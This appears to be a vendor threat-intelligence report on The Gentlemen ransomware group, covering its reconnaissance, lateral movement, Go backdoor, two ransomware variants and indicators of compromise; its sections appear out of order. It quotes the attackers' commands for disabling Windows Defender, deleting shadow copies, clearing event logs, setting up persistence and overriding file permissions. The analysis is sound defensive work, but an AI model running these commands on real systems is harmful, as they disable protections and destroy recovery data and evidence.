Ransomware is inherently quite noisy and so can be detected at various execution phases. The execution graph within Kaspersky Cloud Sandbox on our Threat Intelligence Portal visualizes the entire ClearWater execution chain, capturing key behaviors such as modifying the desktop wallpaper and deleting shadow copies.

ClearWater execution graph in Kaspersky Cloud Sandbox

Additionally, the Threat Lookup and Research Graph sections of Kaspersky Threat Intelligence Portal allow you to visualize and analyze the connections between the malicious domains and files used by the adversaries.

Visualization via Research Graph on Kaspersky Threat Intelligence Portal

Kaspersky Threat Lookup demonstrating the connection between malicious files and the attackers’ IP address

Monitoring network traffic is another highly effective method for detecting the malicious activity described here. Kaspersky Anti Targeted Attack (KATA) with the NDR module detects the network communications of all malware samples in question utilized throughout this campaign.

For instance, upon detecting HTTP network activity characteristic of the BlackSalt backdoor, the system triggers an alert for the Backdoor.BlackSalt.HTTP.C&C rule triggering.

Examples of using the Kaspersky Anti Targeted Attack (KATA) platform with the NDR module to detect other agents described here – along with their detailed technical analysis – are available in our dedicated reports on Adaptix and Mythic detection.

Indicators of compromise

Network indicators
212.46.12[.]182
185.221.153[.]121
77.72.85[.]62
45.150.109[.]2
130.49.155[.]112
45.112.194[.]82
138.226.236[.]52
85.137.253[.]186

Introduction

This year saw the emergence of The Gentlemen, a prominent example of a group operating under the ransomware-as-a-service (RaaS) model. Although our initial assessment suggested the group first appeared in mid-2025, it actually started ramping up its activities at the beginning of 2026. According to public reports, in the first half of 2026, this group ranks among the top 10 ransomware actors by the number of victim announcements on its data leak site (DLS).

We have been observing the activity of The Gentlemen since February 2026 and have discovered new tactics, techniques, and procedures (TTPs) as well as custom tool development efforts, as they target large corporations and critical infrastructure worldwide. In our research, we have uncovered the group’s methods of reconnaissance, network sniffing, and many other techniques that have not been publicly described before by the wider community.

Technical details

Initial infection vector

The Gentlemen group and its affiliates usually get into victim systems by exploiting vulnerabilities in online services and using stolen or weak login credentials, as reported by multiple cybersecurity vendors. They often target devices like hardware VPNs and firewalls that are exposed to the internet, and use leaked or default credentials to gain access.

We believe the group is likely collaborating with other actors or initial access brokers (IABs) to gain access to the target organizations. While they often deploy ransomware within a few hours after initial access is obtained, our analysis of several attacks revealed some cases, in which access to the victim’s system had been established long before the ransomware was deployed. These cases involved tactics that are not typically associated with the group. This suggests that the initial breach may not have been executed by The Gentlemen at all, but rather by another group or an initial access broker.

Reconnaissance

Our investigation reveals that The Gentlemen conduct thorough internal reconnaissance using tools like SharpADWS, NetScan, Advanced IP Scanner, and netsh to map the target environment and identify vulnerabilities. SharpADWS is used to gather detailed Active Directory information, including domain object enumeration, and can bypass standard logging by wrapping LDAP queries in SOAP messages. The group also uses NetScan and Advanced IP Scanner to scan the network, discover active ports and services, and identify potential vulnerabilities, ultimately gaining a deeper understanding of the network and establishing remote control over identified systems.

Microsoft’s netsh tool is used to capture network packets and gather intelligence, executing the command cmd.exe /Q /c netsh trace start capture=yes report=no filemode=circular overwrite=yes maxSize=4 > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} 2>&1 to start the capture, and cmd.exe /Q /c netsh trace stop > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} to stop it.

The captured data is saved to a shared administrative folder with a random name, and can be analyzed with tools like Wireshark to reveal sensitive information such as unencrypted network activity and potential passwords, which the attackers then use to conduct targeted ransomware attacks.

Lateral movement

The Gentlemen group leverages the NETLOGON share to distribute the ransomware executable to connected computers, enabling simultaneous attacks on multiple devices. To facilitate lateral movement, they use a customized PowerShell script, deploy_gpo.ps1, with specific parameters and variables for each target system. Additionally, they employ PsExec to remotely execute the ransomware binary on targeted systems, providing an alternative method for spreading the infection when the GPO-based approach is not feasible.

Disabling security products

The Gentlemen group uses various methods to disable security software on targeted computers, including the BYOVD technique. This involves installing a vulnerable driver and exploiting its weakness to shut down security software, gain unrestricted access, and launch ransomware attacks. We observed the following vulnerable drivers used in the group’s attacks.

The Gentlemen group also uses specialized tools, including Windows Kernel Explorer and OpenArk64, to disable security software. These tools can intercept and block system calls, and even remove security drivers, allowing the attackers to bypass security measures and remain undetected.

Besides this, the group employs simple methods to disable security software, such as using kavrmvr.exe to uninstall Kaspersky Antivirus, which is prevented by the product’s behavioral detection, and modifying Windows registry settings to disable Windows Defender’s real-time protection.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001

Last but not least, the attackers attempt to disable Windows Defender’s real-time monitoring and ransomware protection, and add itself to the exclusion list, by executing multiple PowerShell cmdlets, as observed in the Go implant, which we’ll analyze later in this post:

Set-MpPreference -DisableRealtimeMonitoring $true -Force
Set-MpPreference -EnableControlledFolderAccess Disabled -Force
Add-MpPreference -ExclusionProcess <file_name>
Add-MpPreference -ExclusionPath 'C:\\'

Go-based backdoor

We observed a custom-made implant, written in Go and deployed a day before the ransomware attack, which acted as a backdoor, enabling remote command execution. The implant collected system information (hostname, domain name, UUID, and local IP addresses) and organized it into a JSON format using a map structure with keys like name, domain, uuid, and localIPs. To obtain the system’s UUID, it used the WMI query "SELECT UUID FROM Win32_ComputerSystemProduct". It then used the Yamux library to establish a persistent bidirectional TCP connection with the C2 server at 81.177.215[.]15:9443. It sent the collected system info to the C2 and waited for operator responses, executing commands using cmd.exe /c if the response byte was 'c', or establishing a SOCKS proxy connection if the byte was 's'. This functionality likely enables The Gentlemen’s red team to pivot within the target network and expand their scan coverage.

Given the backdoor implant’s capabilities, such as establishing two-way communication, executing commands, setting up a SOCKS proxy, and gathering information, it’s clear that it can also be used to expand the attack chain as needed. In one incident, soon after the initial connection was made, we saw the server send reconnaissance commands, including:

whoami
net  group \"Domain Admins\" /domain
net group
dir c:\\
cd c:\\

Go-based ransomware

The most widespread version of the ransomware binary, written in Go, emerged in mid-2025 and has been used in most attacks since then. It features a previously unknown Go obfuscator that renames symbols, source code files, and structures, and alters function signatures, making analysis more difficult. The binary also contains embedded parameters with descriptions, indicating a sophisticated tool. The parameters are listed in the following table:

Automated system execution prevention

The Go variant of the ransomware is designed to avoid detection and prevent analysis. To execute, it requires a password, currently set to CbdU8EgF. This password acts as a barrier to prevent the binary from running in sandbox or automated environments. If the incorrect password is entered or no password is provided, the binary will terminate.

Lateral movement through GPO deployment

When the --gpo parameter is used, the ransomware spreads to other computers on the network through Group Policy. To do this, it generates PowerShell commands based on the target environment, writes them to a file called deploy_gpo.ps1 in the %temp% folder, and executes it.

The resulting script allows the attackers to quickly spread the ransomware across the entire company network. It starts by finding the Domain Controller and loading tools to control it. Then, it copies itself to the NETLOGON network folder to become accessible to all computers.

To prevent the attack from being blocked, the script creates a fake system update policy that disables Windows Defender. It does this by changing the DisableRealtimeMonitoring setting to 1 on all connected computers, thereby disabling real-time scanning and security features. The script also sets up a hidden task by creating a ScheduledTasks.xml file in the SYSVOL directory and modifies the Active Directory property gPCMachineExtensionNames to register the malicious XML file. Finally, the script forces all computers on the network to update their rules immediately by running the gpupdate /force command, causing all computers to download and run the ransomware simultaneously.

Lateral movement through PsExec

In addition to spreading through Group Policy, the ransomware also uses PsExec for lateral movement when the --spread parameter is provided. If PsExec is absent on the target system, it downloads the tool using the following command:

powershell.exe -Command "Invoke-WebRequest -Uri 'https://live.sysinternals[.]com/PsExec.exe' -OutFile 'C:\Temp\psexec.exe'"

The ransomware then performs a thorough scan of the domain by installing and using Remote Server Administration Tools (RSAT) through a PowerShell cmdlet. If the PowerShell commands fail, it uses the NetServerEnum API instead.

try { 
    Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" -ErrorAction Stop 
} 
catch {}

try { 
    DISM.exe /Online /Add-Capability /CapabilityName:"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" 
} 
catch {}

try { 
    Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction Stop 
} 
catch {}

try { 
    Import-Module ActiveDirectory -ErrorAction Stop
    Get-ADComputer -Filter * | Select-Object -ExpandProperty Name 
} 
catch {}

Once it has obtained a list of all computers on the domain, the ransomware checks if each computer is active by pinging it with the command ping.exe -n 1 -w 500 {target}. If a computer is found to be active, the ransomware uses PsExec to spread to that computer.

Pre-encryption activities

Before starting to actually encrypt files, the ransomware attempts to stop any active Hyper-V virtual machines, allowing it to encrypt the virtual disk files. It uses PowerShell commands to achieve this, including:

Get-VM | Stop-VM -Force -TurnOff
Get-VM | Where-Object State -eq 'Running' | Stop-VM -Force -TurnOff

The ransomware also terminates specific processes using taskkill.exe and disables and stops certain services using sc.exe. The lists of processes and services are quite long and include various popular software, such as Microsoft Office instances, database management interfaces, remote management software, backup applications and more.

After stopping and terminating all the services and processes from the lists, the ransomware ensures its persistence on the system by:

• Deleting and recreating a scheduled task called “UpdateUser” to run the ransomware on startup
• Adding a registry key to run the ransomware on startup

The commands used for this are:

schtasks.exe /Delete /TN "UpdateUser" /F
schtasks.exe /Create /SC ONSTART /TN "UpdateUser" /TR "<ransomware_path>"
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GupdateS" /t REG_SZ /d "<ransomware_path>" /f

Encryption process

After completing its preparations, the ransomware begins encrypting files using a hybrid encryption algorithm that combines Curve25519 and the XChaCha20 stream cipher. For each file to be encrypted, it generates a Curve25519 key pair and computes a shared secret with the attacker’s public key embedded in its code and encoded in Base64 as HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=.

Before encrypting the files, the ransomware changes the file access permissions to “Everyone” and gains full administrative access by overriding the file’s Access Control List (ACL) and Access Control Entry (ACE) using the following commands:

• takeown.exe /f <target_file> /d y
• icacls.exe <target_file> /grant *S-1-1-0:F

The ransomware also includes a list of blacklisted directories, files, and extensions to prevent encryption of essential system components.

As the encryption process begins, the ransomware creates a file named README-GENTLEMEN.txt in each directory, containing the ransom note with the victim ID, Tox ID, and Data Leak Site address. If the --silent parameter is not provided, it also changes the desktop wallpaper to The Gentlemen’s embedded image.

The Gentlemen background image

After completing its operations, the ransomware may delete free space on the system to hinder data recovery attempts if the --wipe parameter is provided. Additionally, it may delete itself if the --keep parameter is not provided.

Regardless of provided parameters, it also deletes various system files and logs to cover its tracks, using commands such as:

vssadmin.exe delete shadows /all /quiet
wmic.exe shadowcopy delete
wevtutil.exe cl System
wevtutil.exe cl Application
wevtutil.exe cl Security

Additionally, it deletes files from various directories, including:

cmd.exe /C del /f /q C:\Windows\Prefetch\*.*
cmd.exe /C del /f /q C:\ProgramData\Microsoft\Windows Defender\Support\*.*
cmd.exe /C del /f /q %SystemRoot%\System32\LogFiles\RDP*\*.*
cmd.exe /C rd /s /q C:\$Recycle.Bin

C-based ransomware

As The Gentlemen’s operations have extended, multiple researchers from different information security vendors have identified two ransomware implant versions: the cross-platform Go variant described above and a C-based ESXi locker for Linux. Our investigation has also uncovered a new, still-in-development C implant, currently limited to Windows.

This new ransomware variant has been observed in a limited number of attacks on organizations. While the overall malware structure remains similar to the Go variant we have described, the encryption algorithm has undergone significant changes, suggesting The Gentlemen group is expanding its capabilities. We believe this variant is still in development and being tested on a small subset of victims, with several parameter options, outlined below.

As can be seen from the parameter list, some of the parameters are not yet implemented. We anticipate that this variant will mature and likely be increasingly used in future attacks. Notably, the C variant uses smaller denylists of files, directories and extensions compared to the Go variant, which further suggests that this version of the ransomware is still in development. For example, the list of files that should not be encrypted, contains only three items, one of which is the group’s ransom note.

To execute with elevated privileges when receiving the --system parameter, the implant creates a scheduled task called “TaskSystem” using the command schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd %s && %s" /st 20:00 /ru system > nul. It then runs the task with elevated privileges using schtasks /run /tn TaskSystem > nul. If “TaskSystem” exists in the target system, the ransomware first deletes it using schtasks /delete /tn TaskSystem /f > nul, before creating a new one with the same name.

If the ransomware lacks sufficient privileges to access a file, it attempts to modify the file’s ACL by granting FULL_CONTROL permission and setting a new EXPLICIT_ACCESS_A structure using the SetEntriesInAclA API call.

For encryption, the ransomware uses the OpenSSL library, which is statically linked to the binary. Unlike the Go variant, this variant uses the AES256-GCM + RSA encryption scheme. It generates a random 32-byte key and a 16-byte initialization vector (IV) for each file, creating a 48-byte buffer. This buffer is then encrypted using a hardcoded RSA public key and appended to the file. The file’s contents are encrypted with AES256-GCM and written after the encrypted key and IV.

After encrypting all files in a directory, the ransomware decodes a byte array using single-byte XOR decryption and creates a file named !-READ-ME—-GEN-TLE-MEN-!.txt in the directory. It then writes the decoded byte array, which contains the ransom note, to the file.

The ransom note in this version of the ransomware reveals a difference from earlier Go versions: communication with the operators is now conducted via email rather than through Tox Messenger.

After completing the encryption process, the ransomware attempts to clear logs from various event log categories, including System, Forwarded Events, Application, and Setup, using the EvtClearLog API. However, it appears that there may be an error in the event log clearing process, as the category "S" is not a valid default entry for an event log category, suggesting a possible typo or missing parameters.

Event clearing function

Victims

The Gentlemen target a wide range of industries worldwide, including manufacturing, IT services, healthcare, financial services, construction, and logistics. Observed intrusions span several regions, with Brazil, China, Indonesia, Taiwan, and Thailand among the most heavily targeted countries and territories according to our telemetry.

Attribution

We have high confidence in attributing the observed activities to The Gentlemen group and its affiliates. This attribution is based on several key factors, including the consistent use of the group’s name, associated email addresses, and Data Leak Site within the binaries and ransom notes.

Conclusion

The Gentlemen group is rapidly gaining traction in the ransomware landscape, recruiting affiliates and executing high-profile attacks. Their adaptability is evident in the emergence of a C-based ransomware variant, a Go-based backdoor enabling remote command execution, and customized scripts tailored to specific targets. Recent data leaks exposing internal communications and operational plans suggest the group will continue to engage in malicious activity. Organizations are advised to prioritize vulnerability management and system hardening to reduce the risk of compromise.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Go ransomware

3B46A729DB7AE6AF8B19711C9452194D        locker_eryoo5_windows_amd64
02944C8A5535CDB5B2CBB893DB2D5ACF     locker_lqy8xb_windows_amd64.exe
10CA9A4040001560D053B7E7885C1B95     locker_28f3cl_windows_386.exe
3C471EBC947CDF32240A90FFADF49B13     locker_aga19g_windows_amd64.exe
4BE8BB62F0EBBCF4CE52C35AB6F794F5     locker_wh54td_windows_386.exe
53C616677BC7E2A0A03127F19166D007     locker_p663zs_windows_amd64.exe
5C3B9821FC82A9028CB63B9671950919     locker.exe
5F0B2C6D9F442754258BF4DD841C8341     locker_t1zged_windows_amd64.exe
608FAF58353B65C45EF9833358AC3787     locker_u90lyt_windows_amd64.exe
6AE7C9A7EA0B8C40A64225734F6BD01D     gentle.exe
846DC77C1246DB20D976346E0E359502     locker_p663zs_windows_386.exe
ADAC9984B3CC43D66A0D33079BBEC299     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
AE0E536766788478263BF448A9381641     cosmo.exe
B3E418D30312C1B2C58A791286868F42     system_386.exe
C2764744DCB4B0E1DB79CA1E8BF65368     getlwd.exe
D12A5B36DD00586CC374A1CAE43EFED4     locker_c65ffp_windows_amd64.exe
D2F72897E8986303D5567EB2384932B8     UcAaJ_o_1j9srso9a14071ps4p7s3f81s1b
DE1522F9219497632F30F8A6E72F26B6     locker_c7ekh7_windows_amd64.exe
FDAE2BEB813778B4540A997706862096     AIR.exe

C-based ransomware

B9986A0F1F1F1A798DC3F0C59A80A1A3        fin.exe

Backdoor

554E699C96B332468F1AE69C1AE81EF9        sihost.exe

Vulnerable drivers

5761BD63DA03686FC480245DA7BD1E9F        processmonitordriver.sys
B6B51508AD6F462C45FE102C85D246C8        wamsdk.sys
8F0577D28C4FF5F71B149F444BFABA8E        gamedriverx64.sys
525EF6014F0EF20E44FE47C1D9980B69        biontdrv_wink.sys
407B6A136BBAA7172EB44EF9D08BB58A        biontdrv_winbs.sys
9321A61A25C7961D9F36852ECAA86F55        inpoutx64.sys
73F0A8C3EA794A04E80C32038249F044        wsddprm.sys
EEF8A950952696B018AA9C6DA2F5D7AD        havoc.sys

Scanning tools

EDB1C480295250DD1A38F3AA1357DEAE        netscan64.exe
5537C708EDB9A2C21F88E34E8A0F1744        Advanced_IP_Scanner_2.5.4594.1.exe

File paths

\\Netlogon\
C:\Sharing
C:\Temp
C:\Netlogon
C:\Windows\sysvol\domain\scripts\
%TEMP%
%User%\Downloads
%User%\Desktop

Domain and IPs

81[.]177[.]215[.]15    Backdoor C2